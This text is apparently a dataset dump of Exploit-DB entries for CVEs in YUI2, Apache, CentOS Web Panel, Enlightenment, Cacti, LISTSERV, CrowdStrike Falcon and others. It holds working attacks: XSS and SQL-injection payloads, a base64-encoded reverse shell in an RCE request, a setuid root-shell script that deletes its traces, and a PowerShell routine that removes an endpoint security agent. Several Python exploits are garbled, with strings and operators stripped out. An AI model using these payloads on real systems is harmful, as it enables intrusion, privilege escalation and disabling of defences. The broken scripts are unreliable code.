QLWD/code_shield huggingface dataset:
标题: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) EDB-ID: 51198 CVE: 2022-48197 类型: WEBAPPS 平台: PHP 发布日期: 2023-04-01 漏洞利用脚本: # Exploit Title: Yahoo User Interface library (YUI2) TreeView  v2.8.2 - Multiple Reflected Cross Site Scripting (XSS)
# Google Dork: N/A
# Date: 2/1/2023
# Exploit Author: Rian Saaty
# Vendor Homepage: https://yui.github.io/yui2/
# Software Link: https://yui.github.io/yui2/
# Version: 2.8.2
# Tested on: MacOS, WindowsOS, LinuxOS
# CVE : CVE-2022-48197


The YUI2 has a lot of reflected XSS vulnerabilities in pretty much
most files. A sample of the vulnerable files along with the exploit
can be found here:

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

Twitter: @Ryan_412_ URL: https://www.exploit-db.com/exploits/51198
标题: Apache 2.4.x - Buffer Overflow EDB-ID: 51193 CVE: 2021-44790 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-01 漏洞利用脚本: # Exploit Title: Apache 2.4.x - Buffer Overflow
# Date: Jan 2 2023
# Exploit Author: Sunil Iyengar
# Vendor Homepage: https://httpd.apache.org/
# Software Link: https://archive.apache.org/dist/httpd/
# Version: Any version less than 2.4.51. Tested on 2.4.50 and 2.4.51
# Tested on: (Server) Kali, (Client) MacOS Monterey
# CVE : CVE-2021-44790


import requests

#Example "http(s)://<hostname>/process.lua"
url = "http(s)://<hostname>/<luafile>"

payload = "4\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n0\r\n4\r\n"
headers  
   









response  requestsrequest url headersheaders datapayload

responsetext URL: https://www.exploit-db.com/exploits/51193
标题: Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 51195 CVE: 2022-44149 类型: REMOTE 平台: HARDWARE 发布日期: 2023-04-01 漏洞利用脚本: # Exploit Title: Nexxt Router Firmware 42.103.1.5095 - Remote Code Executio=
n (RCE) (Authenticated)
# Date: 19/10/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage: https://www.nexxtsolutions.com/
# Version: 42.103.1.5095
# Tested on: ARN02304U8
# CVE : CVE-2022-44149

import requests
import base64

router_host =3D "http://192.168.1.1"
username  
password  


 
    send_payload
    router_hostsplit "
` using known credentials"
    

 u p
     base64b64encodefencodedecode

 header
    url  router_host
    params  header 
    resp3Drequestsgeturl params3Dparams
   
 payload
    url  router_host
    headers   gen_headerusername pa
ssword
    params     payload  "OK
"
    requestsposturl headers3Dheaders data3Dparams


 __name__  
    main URL: https://www.exploit-db.com/exploits/51195
标题: Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) EDB-ID: 51194 CVE: 2022-44877 类型: WEBAPPS 平台: LINUX 发布日期: 2023-04-01 漏洞利用脚本: [+] Exploit Title: Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE)
[+] Centos Web Panel 7 - < 0.9.8.1147
[+] Affected Component ip:2031/login/index.php?login=$(whoami)
[+] Discoverer: Numan Türle @ Gais Cyber Security
[+] Author: Numan Türle
[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194
[+] CVE: CVE-2022-44877


Description
--------------
Bash commands can be run because double quotes are used to log incorrect entries to the system.

Video Proof of Concept
--------------
https://www.youtube.com/watch?v=kiLfSvc1SYY


Proof of concept:
--------------
POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login
--------------

Solution
--------
Upgrade to CWP7 current version URL: https://www.exploit-db.com/exploits/51194
标题: Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) EDB-ID: 51188 CVE: 2022-30519 类型: WEBAPPS 平台: WINDOWS 发布日期: 2023-04-01 漏洞利用脚本: # Exploit Title:  Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS)
# Exploit Author: Mohammed A.Siledar
# Author Company : reprisesoftware
# Version: rlm.v14.2BL4
# Vendor home page : https://reprisesoftware.com
# Software Link: https://www.reprisesoftware.com/license_admin_kits/rlm.v14.2BL4-x64_w3.admin.exe
# Authentication Required: No
# CVE : CVE-2022-30519
# Tested on: Windows 10

# Proof Of Concept: 

http://localhost/goform/login_process?username=admin&password=admin%22%3E%3Cimg%20src=x%20onerror=confirm(123)%3E


Best Regards. URL: https://www.exploit-db.com/exploits/51188
标题: perfSONAR v4.4.5 - Partial Blind CSRF EDB-ID: 51186 CVE: 2022-41413 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-04-01 漏洞利用脚本: Exploit Title: perfSONAR v4.4.5 - Partial Blind CSRF
Link: https://github.com/perfsonar/
Affected Versions: v4.x <= v4.4.5
Vulnerability Type: Partial Blind CSRF
Discovered by: Ryan Moore
CVE: CVE-2022-41413
Summary

A partial blind CSRF vulnerability exists in perfSONAR v4.x <= v4.4.5 within the /perfsonar-graphs/ test results page. Parameters and values can be injected/passed via the URL parameter, forcing the client to connect unknowingly in the background to other sites via transparent XMLHTTPRequests. This partial blind CSRF bypasses the built-in whitelisting function in perfSONAR.

This vulnerability was patched in perfSONAR v4.4.6.
Proof of Concept
Examples

Here are two examples of this vulnerability. For further details, review the Technical Overview section below.
Example 1:

Client browser connects to www.google.com in the background.
http://192.168.68.145/perfsonar-graphs/?source=1&dest=2&url=https://www.google.com
Example 2:

Client browser connects to arbitrary IP and port in the background, passing delete parameter to /api endpoint.
http://192.168.68.145/perfsonar-graphs/?source=8.8.8.8&dest=%26action%3Ddelete&url=http://192.168.68.113:4444/api URL: https://www.exploit-db.com/exploits/51186
标题: AD Manager Plus 7122 - Remote Code Execution (RCE) EDB-ID: 51183 CVE: 2021-44228 类型: REMOTE 平台: JAVA 发布日期: 2023-04-01 漏洞利用脚本: # Exploit Title: AD Manager Plus 7122 - Remote Code Execution (RCE)
# Exploit Author: Chan Nyein Wai & Thura Moe Myint
# Vendor Homepage: https://www.manageengine.com/products/ad-manager/
# Software Link: https://www.manageengine.com/products/ad-manager/download.html
# Version: Ad Manager Plus Before 7122
# Tested on: Windows
# CVE : CVE-2021-44228
# Github Repo: https://github.com/channyein1337/research/blob/main/Ad-Manager-Plus-Log4j-poc.md

### Description

In the summer of 2022, I have been doing security engagement on Synack
Red Team in the collaboration with my good friend (Thura Moe Myint).
At that time, Log4j was already widespread on the internet. Manage
Engine had already patched the Ad Manager Plus to prevent it from
being affected by the Log4j vulnerability. They had mentioned that
Log4j was not affected by Ad Manager Plus. However, we determined that
the Ad Manager Plus was running on our target and managed to exploit
the Log4j vulnerability.

### Exploitation

First, Let’s make a login request using  proxy.

Inject the following payload in the ```methodToCall``` parameter in
the ```ADSearch.cc``` request.

Then you will get the dns callback with username in your burp collabrator.




### Notes

When we initially reported this vulnerability to Synack, we only
managed to get a DNS callback and our report was marked as LDAP
injection. However, we attempted to gain full RCE on the host but were
not successful. Later, we discovered that Ad Manager Plus was running
on another target, so we tried to get full RCE on that target. We
realized that there was a firewall and an anti-virus running on the
machine, so most of our payloads wouldn't work. After spending a
considerable amount of time , we eventually managed to  bypass the
firewall and anti-virus, and achieve full RCE.

### Conclusion

We had already informed Zoho about the log4j vulnerability, and even
after it was fixed, they decided to reward us with a bonus bounty for
our report.

### Mitigation

Updating to a version of Ad Manager Plus higher than 7122 should
resolve the issue. URL: https://www.exploit-db.com/exploits/51183
标题: Enlightenment v0.25.3 - Privilege escalation EDB-ID: 51180 CVE: 2022-37706 类型: LOCAL 平台: LINUX 发布日期: 2023-04-01 漏洞利用脚本: ## Exploit Title: Enlightenment v0.25.3 - Privilege escalation
## Author: nu11secur1ty
## Date: 12.26.2022
## Vendor: https://www.enlightenment.org/
## Software: https://www.enlightenment.org/download
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706
## CVE ID: CVE-2022-37706
## Description:
The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.
Enlightenment_sys in Enlightenment before 0.25.3 allows local users to
gain privileges because it is setuid root,
and the system library function mishandles pathnames that begin with a
/dev/.. substring
If the attacker has access locally to some machine on which the
machine is installed Enlightenment
he can use this vulnerability to do very dangerous stuff.

## STATUS: CRITICAL Vulnerability

## Tested on:
```bash
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.10
DISTRIB_CODENAME=kinetic
DISTRIB_DESCRIPTION="Ubuntu 22.10"
PRETTY_NAME="Ubuntu 22.10"
NAME="Ubuntu"
VERSION_ID="22.10"
VERSION="22.10 (Kinetic Kudu)"
VERSION_CODENAME=kinetic
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=kinetic
LOGO=ubuntu-logo
```

[+] Exploit:

```bash
#!/usr/bin/bash
# Idea by MaherAzzouz
# Development by nu11secur1ty

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

# The actual problem
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
 echo "[-] Couldn't find the vulnerable SUID file..."
 echo "[*] Enlightenment should be installed on your system."
 exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Welcome to the rabbit hole :)"

${file} /bin/mount -o
noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),
"/dev/../tmp/;/tmp/exploit" /tmp///net

read -p "Press any key to clean the evedence..."
echo -e "Please wait... "

sleep 5
rm -rf /tmp/exploit
rm -rf /tmp/net
echo -e "Done; Everything is clear ;)"

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706)
## Proof and Exploit:
[href](https://streamable.com/zflbgg)

## Time spent
`01:00:00`


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/> URL: https://www.exploit-db.com/exploits/51180
标题: rconfig 3.9.7 - Sql Injection (Authenticated) EDB-ID: 51163 CVE: 2022-45030 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-31 漏洞利用脚本: # Exploit Title: rconfig 3.9.7 - Sql Injection (Authenticated)
# Exploit Author: azhen
# Date: 10/12/2022
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/
# Vendor: rConfig
# Version: <= v3.9.7
# Tested against Server Host: Linux
# CVE: CVE-2022-45030

import requests
import sys
import urllib3
urllib3.disable_warnings()

s = requests.Session()



 sysargv  
    
    sysexit

hostsysargv 


 host
    
    vul_url  host

    query_exp  
    result_data  

     i   
        burp0_headers         
        res  requestsgetvul_urlquery_exp i cookiesscookiesverify
        

        a  restext  

         a  
            

        result_data  a
        
        result_data
    
    result_data

    


 host
    
    url  host
    headers                   
    
    data        
    responsesposturl headersheaders cookiesscookies datadata verify
    get_datahost

loginhost URL: https://www.exploit-db.com/exploits/51163
标题: Cacti v1.2.22 - Remote Command Execution (RCE) EDB-ID: 51166 CVE: 2022-46169 类型: WEBAPPS 平台: PHP 发布日期: 2023-03-31 漏洞利用脚本: # Exploit Title: Cacti v1.2.22 - Remote Command Execution (RCE)
# Exploit Author: Riadh BOUCHAHOUA
# Discovery Date: 2022-12-08 
# Vendor Homepage: https://www.cacti.net/
# Software Links : https://github.com/Cacti/cacti
# Tested Version: 1.2.2x <= 1.2.22
# CVE: CVE-2022-46169
# Tested on OS: Debian 10/11

#!/usr/bin/env python3
import random
import httpx, urllib

class Exploit:
    def __init__(self, url, proxy=None, rs_host="",rs_port=""):
        selfurl  url 
        selfsession  httpxClientheaders selfrandom_user_agentverifyproxiesproxy
        selfrs_host  rs_host
        selfrs_port  rs_port

     self
        
        local_cacti_ip   selfurlsplitsplit
    
        headers  
             f
        
        
        revshell  f
         base64
        b64_revshell  base64b64encoderevshellencodedecode
        payload  f
        payload  urllibparsequotepayload
        urls  
        
        
         host_id  
             local_data_ids  
                urlsappendf
                
         url  urls
            r  selfsessiongeturlheadersheaders
            f 
        

     self
        ua_list  
            
            
        
         randomchoiceua_list

 
     argparse
    
    argparser  argparseArgumentParser
    argparseradd_argument  
    argparseradd_argument   required
    argparseradd_argument   required
     argparserparse_args

   
    
    args  parse_args
    e  Exploitargsurl rs_hostargsremote_ip rs_portargsremote_port
    eexploit

 __name__  
    main URL: https://www.exploit-db.com/exploits/51166
标题: qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS) EDB-ID: 51157 CVE: 2022-46770 类型: DOS 平台: HARDWARE 发布日期: 2023-03-31 漏洞利用脚本: # Exploit Title: qubes-mirage-firewall  v0.8.3 - Denial Of Service (DoS)
# Date: 2022-12-04
# Exploit Author: Krzysztof Burghardt <krzysztof@burghardt.pl>
# Vendor Homepage: https://mirage.io/blog/MSA03
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases
# Version: >= 0.8.0 & < 0.8.4
# Tested on: Qubes OS
# CVE: CVE-2022-46770

#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166

#!/usr/bin/env python3

from socket import socket, AF_INET, SOCK_DGRAM

TARGET  

PORT  

PAYLOAD  b  

s  socketAF_INET SOCK_DGRAM

ssendtoPAYLOAD TARGET PORT URL: https://www.exploit-db.com/exploits/51157
标题: EQ Enterprise management system v2.2.0 - SQL Injection EDB-ID: 51154 CVE: 2022-45297 类型: WEBAPPS 平台: ASP 发布日期: 2023-03-31 漏洞利用脚本: Exploit Title: EQ Enterprise management system v2.2.0 - SQL Injection
Date: 2022.12.7
Exploit Author: TLF
Vendor Homepage: https://www.yiquantech.com/pc/about.html
Software Link(漏洞影响应用下载链接): http://121.8.146.131/,http://183.233.152.14:9000/,http://219.135.168.90:9527/,http://222.77.5.250:9000/,http://219.135.168.90:9530/
Version: EQ v1.5.31 to v2.2.0
Tested on: windows 10
CVE : CVE-2022-45297 


POC:
POST /Account/Login HTTP/1.1 
Host: 121.8.146.131 
User-Agent:Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 118 
Accept: application/json, text/javascript, */*; q=0.01 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; 
charset=UTF-8 Cookie: ASP.NET_SessionId=tlipmh0zjgfdm5b4h1tgvolg 
Origin: http://121.8.146.131
Referer: http://121.8.146.131/Account/Login 
X-Requested-With: XMLHttpRequest 
Accept-Encoding: gzip
RememberPwd=false&ServerDB=EQ%27and%28select%2B1%29%3E0waitfor%2F%2A%2A%2Fdelay%270%3A0%3A0&UserNumber=%27&UserPwd=%27 URL: https://www.exploit-db.com/exploits/51154
标题: LISTSERV 17 - Insecure Direct Object Reference (IDOR) EDB-ID: 51149 CVE: 2022-40319 类型: WEBAPPS 平台: CGI 发布日期: 2023-03-30 漏洞利用脚本: # Exploit Title: LISTSERV 17 - Insecure Direct Object Reference (IDOR)
# Google Dork: inurl:/scripts/wa.exe
# Date: 12/02/2022
# Exploit Author: Shaunt Der-Grigorian
# Vendor Homepage: https://www.lsoft.com/
# Software Link: https://www.lsoft.com/download/listserv.asp
# Version: 17
# Tested on: Windows Server 2019
# CVE : CVE-2022-40319

# Steps to replicate
1. Create two accounts on your LISTSERV 17 installation, logging into each one in a different browser or container.
2. Intercept your attacking profile's browser traffic using Burp.
3. When logging in, you'll be taken to a URL with your email address in the Y parameter (i.e. http://example.com/scripts/wa.exe?INDEX&X=[session-id]&Y=[email-address]).
4. Click on your email address on the top right and select "Edit profile".
5. In Burp, change the email address in the URL's Y parameter to the email address of your victim account.
4. Next, the "WALOGIN" cookie value will be an ASCII encoded version of your email address. Using Burp Decoder, ASCII encode your victim's email address and replace the "WALOGIN" cookie value with that.5. Submit this request. You should now be accessing/editing the victim's profile. You can make modifications and access any information in this profile as long as you replace those two values in Burp for each request. URL: https://www.exploit-db.com/exploits/51149
标题: CrowdStrike Falcon AGENT 6.44.15806 - Uninstall without Installation Token EDB-ID: 51146 CVE: 2022-2841 类型: LOCAL 平台: WINDOWS 发布日期: 2023-03-30 漏洞利用脚本: # Exploit Title: CrowdStrike Falcon AGENT  6.44.15806  - Uninstall without Installation Token 
# Date: 30/11/2022 
# Exploit Author: Walter Oberacher, Raffaele Nacca, Davide Bianchin, Fortunato Lodari, Luca Bernardi (Deda Cloud Cybersecurity Team) 
# Vendor Homepage: https://www.crowdstrike.com/ 
# Author Homepage: https://www.deda.cloud/ 
# Tested On: All Windows versions 
# Version: 6.44.15806 
# CVE: Based on CVE-2022-2841; Modified by Deda Cloud Purple Team members, to exploit hotfixed release. Pubblication of of CVE-2022-44721 in progress. 


$InstalledSoftware = Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall"

foreach($obj in $InstalledSoftware){
    if ("CrowdStrike Sensor Platform" -eq $obj.GetValue('DisplayName'))
    {
        $uninstall_uuid = $obj.Name.Split("\")[6]
    }
}

$g_msiexec_instances = New-Object System.Collections.ArrayList

Write-Host "[+] Identified installed Falcon: $uninstall_uuid"
Write-Host "[+] Running uninstaller for Crowdstrike Falcon . . ."
Start-Process "msiexec" -ArgumentList "/X$uninstall_uuid"

while($true)
{
 if (get-process -Name "CSFalconService") {
  Get-Process | Where-Object { $_.Name -eq "msiexec" } | ForEach-Object {
   
   if (-Not $g_msiexec_instances.contains($_.id)){
    $g_msiexec_instances.Add($_.id)
    if (4 -eq $g_msiexec_instances.count -or 5 -eq $g_msiexec_instances.count){
     Start-Sleep -Milliseconds 100
     Write-Host "[+] Killing PID " + $g_msiexec_instances[-1]
     stop-process -Force -Id $g_msiexec_instances[-1]    
    }

   }
  
  }
 } else { 
  Write-Host "[+] CSFalconService process vanished...reboot and have fun!"
  break
 }
} URL: https://www.exploit-db.com/exploits/51146
标题: LISTSERV 17 - Reflected Cross Site Scripting (XSS) EDB-ID: 51148 CVE: 2022-39195 类型: WEBAPPS 平台: CGI 发布日期: 2023-03-30 漏洞利用脚本: # Exploit Title: LISTSERV 17 - Reflected Cross Site Scripting (XSS)
# Google Dork: inurl:/scripts/wa.exe
# Date: 12/01/2022
# Exploit Author: Shaunt Der-Grigorian
# Vendor Homepage: https://www.lsoft.com/
# Software Link: https://www.lsoft.com/download/listserv.asp
# Version: 17
# Tested on: Windows Server 2019
# CVE : CVE-2022-39195

A reflected cross-site scripting (XSS) vulnerability in the LISTSERV 17 web interface allows remote attackers to inject arbitrary JavaScript or HTML via the "c" parameter.

To reproduce, please visit
http://localhost/scripts/wa.exe?TICKET=test&c=%3Cscript%3Ealert(1)%3C/script%3E
(or whichever URL you can use for testing instead of localhost).

The "c" parameter will reflect any value given onto the page.

# Solution
This vulnerability can be mitigated by going under "Server Administration" to "Web Templates" and editing the BODY-LCMD-MESSAGE web template. Change &+CMD; to &+HTMLENCODE(&+CMD;); . URL: https://www.exploit-db.com/exploits/51148